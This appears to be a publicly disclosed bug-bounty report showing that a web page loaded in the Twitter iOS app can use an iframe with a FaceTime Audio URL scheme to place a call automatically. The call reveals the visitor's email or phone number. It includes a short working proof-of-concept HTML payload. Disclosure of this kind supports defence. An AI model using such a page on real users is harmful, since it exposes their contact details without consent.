HexBrain

X / xAI · Report #28500

iOS App can establish Facetime calls without user's permission

Validstatus
4upvotes
27 Apr 2015disclosed

How it was found

When URL Schemes for local applications are inserted in an inline frame, the web view launches them automatically.

Example###:

<html>
<header><title>Facetime Audio URL Scheme Test</title></header>
<body>
<iframe src="facetime-audio://[email protected]"></iframe>
</body>
</html>

This page ( which you can also find at http://binaryfactory.ca/urlschemes/facetime.html ) - when loaded from Twitter on iOS (including 8), automatically establishes a Facetime Audio call to me, leaking the user's email address or phone number (caller ID information for their Facetime account).

I marked this as a CSRF but that isn't technically correct, but it is similar in behavior.

Thank you.

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